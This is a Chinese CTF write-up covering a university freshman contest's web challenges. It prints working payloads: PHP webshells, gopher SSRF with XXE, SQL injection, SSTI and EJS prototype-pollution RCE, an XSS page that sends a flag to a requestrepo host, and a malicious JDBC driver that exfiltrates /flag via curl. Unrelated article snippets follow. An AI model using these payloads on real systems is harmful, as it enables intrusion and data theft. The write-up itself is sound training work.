【Web】SCU新生赛个人wp及完赛感想

目录

一些碎碎念:

Web Guideline

2048

ezupload

hardupload

ezphp

ezweb

ezsql

webbuilder

tarit

tarit_revenge

VipDinner

simplespi


一些碎碎念:

scu新生赛是我全心全力打的第二场比赛,历时七天,期间不免煎熬,有山重水复后仍疑无路的无能为力,有距离正解仅一念之隔的遗憾,当然,从不缺的是不断尝试最终打出flag的恣意。

回首看去,很多题对于现在的我极具启发性,比赛过程也极大的提升了我的信息检索能力(启蒙于技能兴鲁的经历)

作为3个月ctf生涯的一个阶段性检测,因为队里就我一人,所以自认最后的成绩还算可以(web12/15),给自己打个75分吧。

感谢401的师傅们出的高质量赛题,真就应了“题⽬难度梯度提升,在保证题⽬质量的同时,也有对新手循序渐进的引导”的主题。

期待下学期的校赛,希望在此之前能有破茧成蝶的蜕变!

 

下面直接贴出自己的wp

Web Guideline

查看器中直接看到flag(hidden)

2048

一眼前端js小游戏,常见的考点就是控制台改分

直接console里盲猜一个score,发现有定义

直接改分score=99999999999

然后快速把游戏玩死,弹窗拿到flag

 

ezupload

写马

<?=phpinfo()?>

<?=eval(hex2bin("6576616c28245f504f53545b22636d64225d293b"))?>

上传文件时后缀改为.PHP即可绕过后缀过滤

内容检测则用16进制转字符串来绕过

上传成功后看时间(看当前美国洛杉矶时间,缩小bp文件路径爆破范围)

<?php  

// 设置默认时区为美国洛杉矶  

date_default_timezone_set('America/Los_Angeles');  

// 输出当前时间  

echo date('H:i:s');  

?>

bp爆破出文件路径

直接访问rce拿到flag

hardupload

写马

<?=eval(next(getallheaders()))?>

getallheaders()返回所有的HTTP头信息,但是要注意的一点是这个函数返回的是一个数组,而eval()要求的参数是一个字符串,所以这里不能直接用,这时我们就要想办法将数组转换为字符串,这里再套个next就可以返回字符串

(end也行,但这里再添加hearders貌似不是最后一位,所以盲猜next直接指向UA)

上传时文件后缀改.PHP就可绕过后缀过滤

用下面脚本看一眼时间方便bp爆破上传路径

<?php  

// 设置默认时区为美国洛杉矶  

date_default_timezone_set('America/Los_Angeles');  

// 输出当前时间  

echo date('H:i:s');  

?>

直接访问在UA里rce即可拿到flag

ezphp

?name=123

访问/cache.php

 

?name=".file_put_contents('shell.php','<?php phpinfo();?>')."

访问/cache.php触发file_put_contents,回显18(符合执行成功的返回值)

 

访问/shell.php 

成功写入

?name=".file_put_contents('shell.php','<?php eval($_POST[1])?>')."

访问/cache.php触发file_put_contents,回显23,说明成功执行

 

访问/shell.php

连蚁剑拿flag

 

ezweb

主机存活检测,给了一个ip输入框

测试有无ssrf

baidu.com,成功跳转,猜测存在

查看页面源代码,还有一个xxe.php文件

看了下就是简单的xxe注入,但是限制死了必须是本地访问

 

现在思路就有了,利用主机存活检测的ssrf去对xxe.php发送请求

利用gopher协议构造:

gopher://127.0.0.1:80/_

POST /xxe.php HTTP/1.1

Host: 127.0.0.1

Content-Length: 180

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE info [  

<!ENTITY name SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> ]>

<info>

<name>&name;

</name></info>

需要进行两次url编码

gopher://127.0.0.1:80/_%250D%250APOST%2520/xxe.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520180%250D%250A%250D%250A%253C%253Fxml%2520version%253D%25221.0%2522%2520encoding%253D%2522utf-8%2522%253F%253E%250D%250A%253C%2521DOCTYPE%2520info%2520%255B%2520%2520%250D%250A%253C%2521ENTITY%2520name%2520SYSTEM%2520%2522php%253A//filter/read%253Dconvert.base64-encode/resource%253D/flag%2522%253E%2520%255D%253E%2520%250D%250A%253Cinfo%253E%250D%250A%253Cname%253E%2526name%253B%250D%250A%253C/name%253E%253C/info%253E%250D%250A

尝试,直接hack,测了下,发现是127.0.0.1被禁用,直接0.0.0.0代替就行

gopher://0.0.0.0:80/_%250D%250APOST%2520/xxe.php%2520HTTP/1.1%250D%250AHost%253A%25200.0.0.0%250D%250AContent-Length%253A%2520180%250D%250A%250D%250A%253C%253Fxml%2520version%253D%25221.0%2522%2520encoding%253D%2522utf-8%2522%253F%253E%250D%250A%253C%2521DOCTYPE%2520info%2520%255B%2520%2520%250D%250A%253C%2521ENTITY%2520name%2520SYSTEM%2520%2522php%253A//filter/read%253Dconvert.base64-encode/resource%253D/flag%2522%253E%2520%255D%253E%2520%250D%250A%253Cinfo%253E%250D%250A%253Cname%253E%2526name%253B%250D%250A%253C/name%253E%253C/info%253E%250D%250A

最后将得到的base64解码即可

ezsql

简单测一测发现是数字型注入

可以直接联合查询,按正常的套路走

/index.php?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

//flag

?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="flag"

//flag,id

/index.php?id=1 union select 1,flag from ctf.flag

//where_is_flag

 

明显一个假的flag

sqlmap查了查别的库感觉没有特别明显的flag表

想到flag在某个存储过程的定义里面

已知flag格式为scuctf{uuid}

直接like模糊匹配

/index.php?id=-1 union select 1,routine_definition from information_schema.routines where routine_definition like '%scuctf%'

拿到flag

webbuilder

在服务器上起一个flask,源码如下

app.py源码from flask import Flask, request, jsonifyapp = Flask(__name__)@app.route('/test', methods=['GET'])
def test():name = request.args.get('name')# 检查是否提供了 name 参数if not name:return jsonify(error='Name parameter is missing.'), 400# 构建返回的 JSON 数据responseData = {'len': 15,'code': 200  # 获取当前时间戳}# 设置响应头的 Content-Type 为 application/jsonreturn jsonify(responseData)@app.route('/redirect', methods=['GET'])
def redirect_route():# 返回状态码为 302 的响应return jsonify(), 302, {'Location': 'http://124.222.136.33:3000/success'}@app.route('/success', methods=['GET'])
def success_route():# Additional logic for /success route if neededreturn 'Success Route'# 新加的 /js 路由
@app.route('/js', methods=['GET'])
def js_route():return """
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>CSP with Nonce Example</title><!-- 将生成的 nonce 值传递到前端脚本 --><script>const nonce = 'XssFun';  // 这里替换为实际的 nonce</script><!-- 在 script 标签中使用 nonce --><script nonce="XssFun">// 在这里执行 JavaScript 代码,访问本地 /flag 路由并获取回显fetchData()// 定义获取数据的函数async function fetchData() {try {const response = await fetch('http://127.0.0.1:8080/flag');const data = await response.text();  // 使用 text() 获取字符串形式的响应location.href="http://0scpvdff.requestrepo.com/?data="+encodeURIComponent(data)} catch (error) {console.error('Error fetching data:', error);}}</script>
</head>
<body><!-- 在此可以添加其他 HTML 内容 -->
</body>
</html>"""if __name__ == '__main__':app.run(host="0.0.0.0", port=3000)

因为api检测1那里长度为10-20的随机数,检测2还存在4次全部都是404的可能,所以需要多次爆破

 

 

拿到uuid

访问/report?uuid=xxx(触发bot.js里封装的visit,xss把flag带出)

拿到flag

 

 

tarit

题目就是tar文件上传,题目环境有个解包的过程,这个过程如果我们tar中有个软连接,就会链接到靶机文件

 

上传访问

 没找到flag文件在哪,读环境变量偷家成功

tarit_revenge

先随便上传一个tar文件,发现存在一个文件读取

经过尝试发现../替换成了空,双写绕过即可

 

访问/app.pyc看源码

因为没拿到pyc文件,无法反编译,只能靠猜了(

看出应该是渲染了index.html,可以覆盖index.html来渲染自己的py代码(SSTI)

 

贴出脚本

import requests as req
import tarfiledef changeFileName(filename):filename.name = '/app/templates/index.html'return filenamewith tarfile.open("tar.tar", "w") as tar:tar.add('test.py', filter=changeFileName)def upload():url = 'http://43.136.40.245:1389/upload'response = req.post(url=url, files={"file": open("tar.tar", 'rb')})print(response.text)if __name__ == "__main__":upload()

 

test.py

{{config.__class__.__init__.__globals__['os'].popen('ls /').read()}}

//Y0u_C4nt_Find33333333_M3hhh

{{config.__class__.__init__.__globals__['os'].popen('ls /Y0u_C4nt_Find33333333_M3hhh').read()}}

//f144gggggg

{{config.__class__.__init__.__globals__['os'].popen('tac /Y0u_C4nt_Find33333333_M3hhh/f144gggggg').read()}}

//SCUCTF{S0rry_Ab0ut_Th3Th3_R3veng3_QwQ}

VipDinner

先给出参考文章

绕invited=1

MySQL 记录不存在插入 和 存在则更新_mysql 更新或新增-CSDN博客

绕vip

mysql注入之长字符截断、orderby注入、HTTP分割注入、limit注入_mysql注入 关键字截断查询原理预防-CSDN博客

ejsrce

EJS - Server Side Prototype Pollution gadgets to RCE | mizu.re

mysql注入之长字符截断、orderby注入、HTTP分割注入、limit注入_mysql注入 关键字截断查询原理预防-CSDN博客


首先是绕invited


 

在/login的signup界面先更改掉Alice的密码。把密码覆盖成abcd的md5值

Alice', 'awdaw')

ON DUPLICATE KEY UPDATE

  password = 'e2fc714c4727ee9395f324cd2e7f331f'#

输入Alice abcd即可登录拿到invited=1

接下来绕vip,

发现sql模式为空,data的容量是255

 

在note这里是可以拼接字符进去。但是vip是控不了的,肯定是false。可以在note插入大量字符串,因为数据表的data字段只能容纳255,那么后面vip等于false就会被截断掉 

 

接下来是ejsrce部分

显然finish调用了merge

/check调用了finish

 

/bill调用了res.render()

 

下面就是调payload(长度为255即可)

用这个网站计算字符串长度

在线文本字符数统计工具 - UU在线工具

最终payload:

{"ids":[10],"createTime":"2023-12-8","price":16,"note":"aa","__proto__":{"view

options":{"client":1,"escapeFunction":"(() => {});return

process.mainModule.require('child_process').execSync('cat

/flag').toString()"}},"vip":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}}

注意要给引号转义(让bp里识别成note的键值)

aa\",\"__proto__\":{\"view options\":{\"client\":1,\"escapeFunction\":\"(() =>

{});return process.mainModule.require('child_process').execSync('cat

/flag').toString()\"}},\"vip\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}

访问/check?order=1触发finish污染成功

访问/bill?order=1拿到flag 

simplespi

审计代码。代码没啥过滤的。就是一个上传jar包。和写了一个类似spi后门的东西。会加载我们的jar包

从SPI机制到JDBC后门实现 | CTF导航

加载的部分和上面文章的例子很像

关键就是生成一个和上面文章那个jar包结构相同的恶意jar包

 

最后新建的项目结构如图

 

MySQLDriver(抄文章代码,就改了个LinuxCmd)

package com;
import java.sql.*;
import java.util.*;
import java.util.logging.*;
public class MySQLDriver implements Driver {protected static boolean DEBUG = false;protected static final String WindowsCmd = "calc";protected static final String LinuxCmd = "curl 7s5ogi9m.requestrepo.com -T /flag";protected static String shell;protected static String args;protected static String cmd;static{if(DEBUG){Logger.getGlobal().info("Entered static JDBC driver initialization block, executing the payload...");}if( System.getProperty("os.name").toLowerCase().contains("windows") ){shell = "cmd.exe";args = "/c";cmd = WindowsCmd;} else {shell = "/bin/sh";args = "-c";cmd = LinuxCmd;}try{Runtime.getRuntime().exec(new String[] {shell, args, cmd});} catch(Exception ignored) {}}// JDBC methods belowpublic boolean acceptsURL(String url){if(DEBUG){Logger.getGlobal().info("acceptsURL() called: "+url);}return false;}public Connection connect(String url, Properties info){if(DEBUG){Logger.getGlobal().info("connect() called: "+url);}return null;}public int getMajorVersion(){if(DEBUG){Logger.getGlobal().info("getMajorVersion() called");}return 1;}public int getMinorVersion(){if(DEBUG){Logger.getGlobal().info("getMajorVersion() called");}return 0;}public Logger getParentLogger(){if(DEBUG){Logger.getGlobal().info("getParentLogger() called");}return null;}public DriverPropertyInfo[] getPropertyInfo(String url, Properties info){if(DEBUG){Logger.getGlobal().info("getPropertyInfo() called: "+url);}return new DriverPropertyInfo[0];}public boolean jdbcCompliant(){if(DEBUG){Logger.getGlobal().info("jdbcCompliant() called");}return true;}
}

运行下面命令就会在当前目录生成恶意jar包

javac src/com/MySQLDriver.java

jar -cvf evil2.jar -C src/ .

上传evil2.jar

访问/init?name=evil2(审源码)

这时候就成功外带拿到flag 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/213301.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

孜然地址引导页V9(带后台)

刚刚在浏览之前经常访问的网站的时候我发现他不用那个域名了&#xff0c;然后我见这个页面好看&#xff0c;就把他干下来了&#xff0c;然后把给他写了个后台。另外如果你的子页面收录多的话&#xff0c;人家百度访问你的子页面会显示404的&#xff0c;所以为了流量可观安装这个…

【算法题】字符串变换最小字符串 * (js)

思路&#xff1a; 将字符按字典排序得到minStr&#xff0c;对比原str 如果 minStr str 则本身就是最小字符串 否则从前往后遍历str&#xff0c;让str[i]和minStr[i]对比&#xff0c;如果不同则替换 str[i]为minStr[i],并且这个minStr[i]这个字符要从str中寻找&#xff0c; 如果…

抓取真实浏览器设备指纹fingerprint写入cookie方案

一个关于抓取真实浏览器设备指纹写入cookie方案&#xff0c;用户访问页面获取到用户设备生成指纹id&#xff0c;通过js把指纹存入cookie&#xff0c;然后用php进行获取cookie存的指纹值到后台。 用途&#xff1a;追踪用户设备&#xff0c;防恶意注册&#xff0c;防恶意采集 浏…

C语言-每日刷题练习

[蓝桥杯 2013 省 B] 翻硬币 题目背景 小明正在玩一个“翻硬币”的游戏。 题目描述 桌上放着排成一排的若干硬币。我们用 * 表示正面&#xff0c;用 o 表示反面&#xff08;是小写字母&#xff0c;不是零&#xff09;&#xff0c;比如可能情形是 **oo***oooo&#xff0c;如果…

【Hadoop_03】HDFS概述与Shell操作

1、集群配置&#xff08;1&#xff09;集群启动/停止方式总结&#xff08;2&#xff09;编写Hadoop集群常用脚本&#xff08;3&#xff09;常考面试题【1】常用端口号【2】常用配置-文件 2、HDFS概述&#xff08;1&#xff09;HDFS产出背景及定义&#xff08;2&#xff09;HDFS…

软件工程考试复习

第一章、软件工程概述 &#x1f31f;软件程序数据文档&#xff08;考点&#xff09; &#x1f31f;计算机程序及其说明程序的各种文档称为 &#xff08; 文件 &#xff09; 。计算任务的处理对象和处理规则的描述称为 &#xff08; 程序 &#xff09;。有关计算机程序功能、…

智能优化算法应用:基于灰狼算法3D无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用&#xff1a;基于灰狼算法3D无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用&#xff1a;基于灰狼算法3D无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.灰狼算法4.实验参数设定5.算法结果6.参考文献7.MA…

unity学习笔记19

一、角色动画的使用练习 从资源商店导入的动画资源&#xff08;Character Pack: Free Sample&#xff09;中将资源中的角色创建在场景里&#xff0c;现在场景里存在的角色并没有任何动画。 在资源中找到Animations文件夹&#xff0c;在这个文件有很多模型文件&#xff08;.FBX…

算能 MilkV Duo开发板实战——opencv-mobile (迷你版opencv库)的移植和应用

前言 OpenCV是一种开源的计算机视觉和机器学习软件库&#xff0c;旨在提供一组通用的计算机视觉工具。它用于图像处理、目标识别、人脸识别、机器学习等领域&#xff0c;广泛应用于计算机视觉任务。 OpenCV-Mobile是OpenCV库的轻量版本&#xff0c;专为移动平台&#xff08;A…

学习 NVIDIA Omniverse 的最基础概念

无用的前言 近两年关于 Omniverse 的宣传一直很多&#xff0c;可我一直没去了解&#xff0c;连它是个啥都不知道。最近正好有契机需要了解它&#xff0c;于是我今天抽时间看了些它的官方介绍&#xff0c;并按照自己的理解梳理在这里。 官方资料索引 Omniverse 官网主页&…

Nacos配置管理-微服务配置拉取

yaml已配置内容 目录 一、配置获取步骤 二、统一配置管理步骤 三、Nacos管理配置的步骤总结 一、配置获取步骤 二、统一配置管理步骤 1、引入Nacos的配置管理客户端依赖: <!--nacos配置管理依赖--> <dependency> <groupId>com.alibaba.cloud&l…

CRM是什么?企业为什么需要CRM?

CRM是什么 CRM的全称是Customer Relationship Management&#xff0c;即客户关系管理&#xff0c;是一种企业与现有客户及潜在客户之间关系互动的管理系统&#xff0c;是企业“以客户为中心”价值观的核心体现之一。 客户是一家企业最宝贵的资源。CRM系统最关键的就是能够帮助…

复亚智能无人机机场适配最新大疆无人机

无人机已经在各个领域得到广泛应用&#xff0c;但由于操作难度、起降场地等问题&#xff0c;其应用范围和效率受到了一定限制。随着无人机机场研发技术的成熟&#xff0c;许多实际操作中的难题得以解决&#xff0c;使得无人机应用变得更加高效。接下来&#xff0c;我们将深入了…

修改代码后idea如何将代码提交到公司git上

1、需要先更新最新的代码到本地&#xff1b;&#xff08;此步骤防止&#xff0c;公司其他人在此期间已经提交了最新代码&#xff0c;但是自己本地项目没有拉取最新代码&#xff0c;导致最后版本冲突&#xff09; 打开idea---》鼠标项目项目名上右击---》选择Git---》选择pull-…

MySQL数据库,创建和管理表

创建数据库&#xff1a; 方式一&#xff1a;创建数据库 CREATE DATABASE 数据库名&#xff1b;&#xff08;使用的是默认的字符集&#xff09; 方式二&#xff1a;创建数据库并指定字符集 CREATE DATABASE 数据库名 CHARACTER SET 字符集&#xff1b; 方式三&#xff1a;判断数…

每天五分钟计算机视觉:使用1*1卷积层来改变输入层的通道数量

本文重点 在卷积神经网络中有很多重要的卷积核&#xff0c;比如1*1的卷积核&#xff0c;3*3的卷积核&#xff0c;本文将讲解1*1的卷积核的使用&#xff0c;它在卷积神经网络中具有重要的地位。由于1*1的卷积核使用了最小的窗口&#xff0c;那么1*1的卷积核就失去了卷积层可以识…

调试备忘录-NTC电阻的使用(教程 + 代码)

软件环境&#xff1a;CodeWarrior 11.1 硬件环境&#xff1a;NXP S9KEAZ64A 传感器参数&#xff1a;NTC热敏电阻(R25 50k,B25-50 3950) 写在前面 最近做小项目需要用到NTC电阻&#xff0c;因此写一个调试备忘录记录下。 什么是NTC电阻&#xff1f; NTC热敏电阻就是负温度…

【flink番外篇】2、flink的23种算子window join 和interval join 数据倾斜、分区介绍及详细示例-完整版

Flink 系列文章 一、Flink 专栏 Flink 专栏系统介绍某一知识点&#xff0c;并辅以具体的示例进行说明。 1、Flink 部署系列 本部分介绍Flink的部署、配置相关基础内容。 2、Flink基础系列 本部分介绍Flink 的基础部分&#xff0c;比如术语、架构、编程模型、编程指南、基本的…

行人重识别paper汇总

文章目录 2021Learning Generalisable Omni-Scale Representations for Person Re-Identification 参考 2021 Learning Generalisable Omni-Scale Representations for Person Re-Identification code: https://github.com/KaiyangZhou/deep-person-reid 摘要&#xff1a;一…

GLAB | CCNA+HCIA=融合课-最新开课通知

敲重点! 12月17日 CCNAHCIA 周日开课啦&#xff01; CCNA&#xff08;Cisco Certified Network Associate&#xff09;认证是Cisco售后工程师认证体系的入门认证&#xff0c;也是Cisco各项认证中级别最低的技术认证通过CCNA认证可证明你已掌握网络的基本知识&#xff0c;并能…